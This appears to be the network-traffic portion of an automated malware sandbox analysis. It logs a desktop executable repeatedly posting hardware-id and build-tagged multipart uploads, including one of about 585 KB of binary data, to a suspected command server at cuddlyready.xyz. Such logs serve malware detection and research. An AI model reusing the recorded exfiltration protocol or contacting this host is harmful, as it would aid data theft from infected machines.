2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 32 63 37 30 0d 0a 69 44 76 2f 42 2b 76 37 4f 41 67 42 55 74 32 6e 52 54 49 54 33 48 4f 43 72 55 56 65 4d 58 4b 49 68 54 41 52 73 63 62 55 56 39 75 56 4f 2b 6b 48 71 72 68 79 53 55 6b 52 7a 37 56 43 56 48 32 70 4d 74 72 34 42 52 39 64 55 38 47 47 66 51 48 6d 6a 38 6f 4d 6d 49 6c 31 74 6c 47 74 39 53 42 55 44 30 72 67 39 6b 30 71 66 4d 42 6f 7a 37 35 4b 54 6c 5a 75 79 4a 4a 33 45 65 44 54 6f 51 4f 57 67 57 79 67 42 36 50 37 5a 68 73 58 51 70 66 32 41 58 73 44 31 6e 69 46 70 55 64 64 4e 44 32 55 67 7a 34 65 73 59 6a 47 51 63 6e 4a 4f 36 4d 48 74 66 73 6e 57 46 30 41 33 37 55 54 61 51 53 77 46 76 6e 35 46 41 74 6b 66 59 53 79 65 78 50 32 33 73 68 5a 6c 4d 63 6a 69 41 65 6c 2b 31 38 56 44 77 71 5a 37 6b 56 66 51 49 41 6d 30 4f 67 44 51 30 31 71 77 4a 6c 33 46 Data Ascii: 2c70iDv/B+v7OAgBUt2nRTIT3HOCrUVeMXKIhTARscbUV9uVO+kHqrhySUkRz7VCVH2pMtr4BR9dU8GGfQHmj8oMmIl1tlGt9SBUD0rg9k0qfMBoz75KTlZuyJJ3EeDToQOWgWygB6P7ZhsXQpf2AXsD1niFpUddND2Ugz4esYjGQcnJO6MHtfsnWF0A37UTaQSwFvn5FAtkfYSyexP23shZlMcjiAel+18VDwqZ7kVfQIAm0OgDQ01qwJl3F
2024-12-23 07:52:54 UTC	1369	IN	Data Raw: 5a 77 39 55 31 38 56 57 74 34 79 41 63 54 41 44 4c 73 41 5a 38 51 4d 6b 57 36 64 6b 63 43 57 4a 37 31 6f 74 2f 53 4e 2b 6f 70 79 65 6c 6b 6e 69 2f 53 65 71 74 63 52 73 42 55 74 62 32 58 56 4d 44 78 6d 6a 6f 73 46 49 57 49 7a 57 47 71 58 4d 4a 2f 35 6d 51 43 4e 61 67 64 62 5a 47 2b 36 74 33 56 41 41 38 37 35 64 46 4a 41 4f 49 61 49 2b 73 58 45 35 6e 66 49 62 45 49 46 57 71 79 39 56 4f 79 39 56 6b 2f 31 36 74 72 53 41 44 48 56 79 5a 70 45 55 79 41 38 6b 72 78 65 77 55 44 58 56 75 67 61 4a 4f 49 50 2b 5a 68 77 2b 4c 69 6e 65 51 52 50 79 78 58 6d 56 61 45 64 65 34 41 6e 78 53 7a 6d 61 58 38 56 4a 57 57 69 32 4f 33 45 39 4a 73 59 62 47 51 64 75 79 65 4c 39 4a 36 71 31 78 46 6d 67 63 33 72 63 54 65 6b 36 43 43 64 54 76 47 45 34 74 4c 63 44 63 4b 46 57 2f 33 6f Data Ascii: Zw9U18VWt4yAcTADLsAZ8QMkW6dkcCWJ71ot/SN+opyelkni/SeqtcRsBUtb2XVMDxmjosFIWIzWGqXMJ/5mQCNagdbZG+6t3VAA875dFJAOIaI+sXE5nfIbEIFWqy9VOy9Vk/16trSADHVyZpEUyA8krxewUDXVugaJOIP+Zhw+LineQRPyxXmVaEde4AnxSzmaX8VJWWi2O3E9JsYbGQduyeL9J6q1xFmgc3rcTek6CCdTvGE4tLcDcKFW/3o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49729	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:52:56 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U62P71TDL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12791 Host: cuddlyready.xyz
2024-12-23 07:52:56 UTC	12791	OUT	Data Raw: 2d 2d 55 36 32 50 37 31 54 44 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 35 37 42 44 31 30 32 36 36 31 35 35 32 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 36 32 50 37 31 54 44 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 36 32 50 37 31 54 44 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 36 32 50 37 31 54 44 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --U62P71TDLContent-Disposition: form-data; name="hwid"357BD10266155210AC8923850305D13E--U62P71TDLContent-Disposition: form-data; name="pid"2--U62P71TDLContent-Disposition: form-data; name="lid"PsFKDg--pablo--U62P71TDLContent-Disp
2024-12-23 07:52:57 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:52:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t94b24o3rbdrg7ul8kfrl7ddk2; expires=Fri, 18 Apr 2025 01:39:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xmaASOdXLo3zx%2FW01FSR6EKjzv%2Fb1GCf42ZTjs8FPN%2Bg79QNlgCRA2ZDbArKNMLxhbqKTMCk8Lsj8gYlz%2FRZuo5n31UE731LU3r9%2BURe9NWqEXf%2FkVbINo61UmIn%2BABkeQ0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c6699acc7d1a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=1999&rtt_var=752&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13721&delivery_rate=1454183&cwnd=179&unsent_bytes=0&cid=7d0cf632dbce04f9&ts=1187&x=0"
2024-12-23 07:52:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:52:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49740	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:52:59 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1TF8LFQ69GV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15021 Host: cuddlyready.xyz
2024-12-23 07:52:59 UTC	15021	OUT	Data Raw: 2d 2d 31 54 46 38 4c 46 51 36 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 35 37 42 44 31 30 32 36 36 31 35 35 32 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 54 46 38 4c 46 51 36 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 54 46 38 4c 46 51 36 39 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 54 46 38 4c 46 51 36 39 47 56 0d 0a 43 6f 6e 74 Data Ascii: --1TF8LFQ69GVContent-Disposition: form-data; name="hwid"357BD10266155210AC8923850305D13E--1TF8LFQ69GVContent-Disposition: form-data; name="pid"2--1TF8LFQ69GVContent-Disposition: form-data; name="lid"PsFKDg--pablo--1TF8LFQ69GVCont
2024-12-23 07:52:59 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:52:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5klnlssk1mph3qfqs85evlgfoe; expires=Fri, 18 Apr 2025 01:39:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zy0AX2jtPMDWebzug2QmrWorPj%2FW72oVrnhokvHKnESZ1KF2h7Ae%2Fzw4Qz9%2F3gDBBTuDjvbWoKN9XiWmuDJzmpo9QcO6TfQg5wM%2F1suFYiK4QpwamHaMWvTbPaWmX1f411c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c679dab4c44f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&min_rtt=1462&rtt_var=557&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2837&recv_bytes=15953&delivery_rate=1947965&cwnd=251&unsent_bytes=0&cid=5d7845ccc8f3f293&ts=798&x=0"
2024-12-23 07:52:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:52:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49746	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:53:01 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JSDRCW3AF36GNCYWLR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20579 Host: cuddlyready.xyz
2024-12-23 07:53:01 UTC	15331	OUT	Data Raw: 2d 2d 4a 53 44 52 43 57 33 41 46 33 36 47 4e 43 59 57 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 35 37 42 44 31 30 32 36 36 31 35 35 32 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 53 44 52 43 57 33 41 46 33 36 47 4e 43 59 57 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 53 44 52 43 57 33 41 46 33 36 47 4e 43 59 57 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --JSDRCW3AF36GNCYWLRContent-Disposition: form-data; name="hwid"357BD10266155210AC8923850305D13E--JSDRCW3AF36GNCYWLRContent-Disposition: form-data; name="pid"3--JSDRCW3AF36GNCYWLRContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 07:53:01 UTC	5248	OUT	Data Raw: 59 90 6a 24 94 cb a5 d1 7c a5 91 90 6c b4 51 98 a9 b7 4a 24 6e 49 6e c9 56 ca e5 5a 2b a1 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Yj$\|lQJ$nInVZ+?:us}Q0u?4E([:s~
2024-12-23 07:53:02 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:53:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kafl7t549ju7dg02pa428591ve; expires=Fri, 18 Apr 2025 01:39:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=INQlEByocN4eDxazzrbi7xnEPg2WA1%2Buq2TjpLBFrmpx7d%2FK4gL8c0neslykszwQ7KIJREPWNO5TYH3T%2F7OdISAwPDcGA8Z0gXhYd4obEKAO%2BF2DkI2qb0pEJiuRmsi%2FaWw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c687ca36425b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1573&rtt_var=603&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21540&delivery_rate=1794714&cwnd=238&unsent_bytes=0&cid=f7d31afa79a444b6&ts=962&x=0"
2024-12-23 07:53:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:53:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49752	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:53:03 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=292T7TPAQQ1OJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1203 Host: cuddlyready.xyz
2024-12-23 07:53:03 UTC	1203	OUT	Data Raw: 2d 2d 32 39 32 54 37 54 50 41 51 51 31 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 35 37 42 44 31 30 32 36 36 31 35 35 32 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 39 32 54 37 54 50 41 51 51 31 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 39 32 54 37 54 50 41 51 51 31 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 39 32 54 37 54 50 41 51 51 31 Data Ascii: --292T7TPAQQ1OJContent-Disposition: form-data; name="hwid"357BD10266155210AC8923850305D13E--292T7TPAQQ1OJContent-Disposition: form-data; name="pid"1--292T7TPAQQ1OJContent-Disposition: form-data; name="lid"PsFKDg--pablo--292T7TPAQQ1
2024-12-23 07:53:04 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:53:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hfaal6p7fevu1i5mfbucgpuos1; expires=Fri, 18 Apr 2025 01:39:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w2feuZg63TGtCgRcRGuU75TwB8k%2BYfbVgx1wl19W6a3jrfJNcwRUzF1LnAcsPd4vqz30HwevMRUF7ldhMIlld8We%2Byn12S%2F%2FEvsqfNMcG5%2FqEsQ2pq02SP5VLxBIjVvQGeg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66c6984f404270-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2047&min_rtt=2040&rtt_var=780&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2114&delivery_rate=1389153&cwnd=225&unsent_bytes=0&cid=e0b134d4662507c5&ts=785&x=0"
2024-12-23 07:53:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:53:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49759	104.21.32.96	443	1380	C:\Users\user\Desktop\FBVmDbz2nb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:53:06 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J72WYFQ035BHF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585082 Host: cuddlyready.xyz
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: 2d 2d 4a 37 32 57 59 46 51 30 33 35 42 48 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 35 37 42 44 31 30 32 36 36 31 35 35 32 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 37 32 57 59 46 51 30 33 35 42 48 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 37 32 57 59 46 51 30 33 35 42 48 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4a 37 32 57 59 46 51 30 33 35 42 Data Ascii: --J72WYFQ035BHFContent-Disposition: form-data; name="hwid"357BD10266155210AC8923850305D13E--J72WYFQ035BHFContent-Disposition: form-data; name="pid"1--J72WYFQ035BHFContent-Disposition: form-data; name="lid"PsFKDg--pablo--J72WYFQ035B
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: 6f 19 cf ff 33 06 25 af 7d 1e dd e8 a1 79 f9 ea b4 ce 8b 87 88 d7 ec e8 5a 59 09 95 a4 66 2f ac f9 f1 89 b5 24 58 d5 82 aa 89 38 4a cf 61 c5 ad dd 88 1f 0b 4c 2a e7 8e 33 4f 81 cb a2 c6 fb d3 8f 80 cb 2e b0 d0 78 97 7e 1e 29 97 a4 b9 b7 f8 37 d3 44 64 e7 8d 56 5d 53 3d b4 de a1 69 85 e2 3a e2 c7 29 86 02 dc 22 c9 2a 58 46 ea c6 68 86 ea f7 7e eb c4 1c 9d 13 fd 51 e8 1d 99 70 55 b5 d7 76 12 2b 30 5f 97 1a 0f ea 55 ba cf 80 c0 b9 96 b1 0a 04 78 ba 20 67 3a 75 bc fa 62 50 6f 7b c2 8f b1 f2 6d 1e 38 60 d5 c7 f0 dc b3 54 a7 cc 24 97 b2 66 fb 9b aa 1e ff 11 14 1d 7b 13 67 85 a1 51 1a a8 fe 84 32 1b e0 8c a3 1e 4c 4f 25 90 7a 02 0f c8 7e 26 ae 6b a9 70 cd 8e 7e 6f d5 c5 a2 e9 91 d0 d6 d5 8e 1e 86 2b 1c b1 a3 ed 56 91 fb 7a 12 98 eb ec f8 df 45 9f c7 c4 02 db 66 Data Ascii: o3%}yZYf/$X8JaL3O.x~)7DdV]S=i:)"XFh~QpUv+0_Ux g:ubPo{m8`T$f{gQ2LO%z~&kp~o+VzEf
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: 6b 2a 94 61 5d 42 f7 65 e2 90 9b 18 c0 18 76 a3 00 e2 f7 d7 89 6c 5f 81 c6 14 2f d7 53 64 b4 42 a9 05 88 5d 24 9d 04 96 3b fe 1c 2a 7d 6c 7b 63 84 0c be 04 01 7c 88 20 31 9f e2 8f 6f dc 52 63 8c 4d bc 46 d6 82 86 cc 1f c1 0d 80 6a ae 64 c7 26 8e 41 b2 70 26 f6 96 d7 fa fb 3d 94 78 e0 f4 6b 1f 02 3d ae e7 0b 1a b7 30 37 36 3d 5f 00 1e 87 48 84 fe 50 3f 9e 2e e6 68 b7 35 2b a3 5c 80 bf c7 14 1b 2d 9a 3e 70 c4 e4 bf d4 90 73 a3 b5 a1 f1 80 44 c3 fe 08 1e f2 35 6d 47 b2 47 52 c9 14 61 2f 82 c9 ce 9b 85 e3 50 76 2b 45 c8 22 3c 72 0b 84 f4 f9 80 ce 91 3f 9f 34 55 5e 2a 78 57 1a 69 67 07 91 58 32 e0 6a 8b 01 66 fc fc 3d 73 e1 84 48 b7 0d 7f e6 2f f6 e3 71 78 d7 97 a6 e5 41 87 fb d8 91 ca 38 7c 93 70 a9 ad 0f 78 f8 f0 ef 9f 17 49 0a 39 bb 53 e6 ed 65 a1 b3 31 44 Data Ascii: ka]Bevl_/SdB]$;}l{c\| 1oRcMFjd&Ap&=xk=076=_HP?.h5+\->psD5mGGRa/Pv+E"<r?4U^*xWigX2jf=sH/qxA8\|pxI9Se1D
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: b3 79 de 8b f3 67 cb 77 c5 df b1 e9 3c 5f 07 c3 3c 76 ee 4a e6 b2 30 d7 20 11 f5 42 1a 53 08 dc 51 f2 c6 df 79 a2 93 f7 33 e4 7f ca 20 13 ac e4 3a 44 bb ae 8c a0 ff eb 7c a0 2f 8a ba 0f f1 db 38 38 bd 85 7f 46 02 d4 67 0d 21 60 2e 71 a4 ea fd 41 f8 07 a0 a8 b7 f4 a9 6e 78 55 bb 1e 17 ed 94 0c 52 05 f2 fa f4 61 79 70 ae ad 4b 08 3c 2c e5 09 30 b5 db 3c 5e d9 b6 45 9b 45 bc 76 c6 11 b1 44 fc d7 2c 57 21 fc 5b 8b 02 62 dc f5 fd 16 05 79 12 db 4f 4a 98 03 e9 b8 38 99 b1 da 72 da 19 90 55 c6 c1 03 c9 95 e1 9c bd 66 6f 91 8c 5d 27 7d 13 01 ff c8 67 5c dc fa 7d 00 3e 3b 66 8f 05 56 f4 86 e9 27 16 7e 27 44 96 f1 eb e7 2f 12 d3 44 73 66 ab 31 d4 d8 e8 44 e4 bd ab ea 59 ee 75 7a 7c 40 52 68 8b ec b9 b3 59 8d 0c 69 4d c5 aa cd e7 b2 de 12 fe ba 44 05 18 12 f9 de 64 Data Ascii: ygw<_<vJ0 BSQy3 :D\|/88Fg!`.qAnxURaypK<,0<^EEvD,W![byOJ8rUfo]'}g\}>;fV'~'D/Dsf1DYuz\|@RhYiMDd
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: f1 f9 cf 61 b4 dc b0 36 79 a1 f5 70 18 bf 50 8f a2 d0 4f 8d 84 b0 e2 13 88 d6 08 c3 c0 45 5f 8d 04 75 96 21 ca 22 f3 9d 00 e1 0b f6 96 3a ff 37 f1 a3 56 fa 46 84 00 f4 b3 0f 46 22 86 1f dc 1c ee 1c fc 74 b6 c4 e7 30 3d fa d3 c1 0b 66 bb db b9 5e 8e f0 6f 85 9c 16 da 24 0a fc 00 83 81 38 b8 18 f3 f2 ed eb 23 66 8d ff b7 91 f9 ce 1a b1 10 ef fb 18 02 16 84 b6 fa f0 65 fa 10 e2 60 70 60 49 7e 49 a4 ea 4e c6 b5 b7 bf 58 7d 1a 20 f6 0a c3 74 c6 9d 36 b8 19 6c a6 3b e2 c8 07 10 6e 97 a2 cb fb 28 84 b1 7c 08 3b 54 2b 5b 9d f5 f3 74 8e 0d 5c 14 43 5d e9 7f 74 88 a8 cc 50 ea c2 af dd 3e 62 a6 4e ec d8 2c 6f 90 42 62 ab 44 60 f1 6c 49 a4 8c 1b 22 bc e0 21 89 8a 0f 64 bb e9 66 d5 c3 16 7f 97 05 61 e1 f2 9d 2c f7 3d 05 ce a2 d5 46 48 f6 ba d1 5f 74 79 fd 55 c1 cd 6b Data Ascii: a6ypPOE_u!":7VFF"t0=f^o$8#fe`p`I~INX} t6l;n(\|;T+[t\C]tP>bN,oBbD`lI"!dfa,=FH_tyUk
2024-12-23 07:53:06 UTC	15331	OUT	Data Raw: c1 ff 2e 34 35 5d 98 7f a8 ab 39 10 9d c2 9f 70 c3 7c bb 67 9c ca b6 80 2d ba 88 90 12 4c 7c ed d1 39 67 81 4b 53 27 fd fb 5c dc 7d e1 83 f0 29 61 b2 2c f6 96 26 5f ec 32 51 08 6d 86 dd 2e 2d 7b ed 61 5e 82 08 ce 0d 2b 40 7f 51 c6 5a 71 6a bc dd 70 d8 25 d6 37 a5 6b e2 65 d5 02 3b b0 af 89 2c 7d 97 8e 8d 6f b1 06 f1 c1 fa 71 d4 6c eb d2 78 27 8f 8c 78 e9 b8 12 bd 68 62 55 9f 19 b9 79 73 f3 47 57 be 2f 5f 85 79 c2 08 c4 7b f0 26 92 00 9c 1b 0b 48 05 fd 52 d1 00 f5 0b fb e4 0b bc 55 86 31 6f 81 3c 0c 36 e4 1f 60 60 c0 ae cb 24 51 50 a5 89 44 80 ff c3 b4 07 a0 ae fe 3d 5e 50 3a 63 e7 e0 1c aa 7e 73 ac e3 e3 4b db 57 b6 4e 21 da 37 f5 3a 67 72 ab c5 b9 8b b7 e4 df 6e 03 0a f3 3e 63 17 ab ce 4c c7 c4 8c b6 d4 d2 cf 17 13 57 e6 29 81 02 87 a5 33 45 ff a2 53 6c Data Ascii: .45]9p\|g-L\|9gKS'\})a,&_2Qm.-{a^+@QZqjp%7ke;,}oqlx'xhbUysGW/_y{&HRU1o<6``$QPD=^P:c~sKWN!7:grn>cLW)3ESl
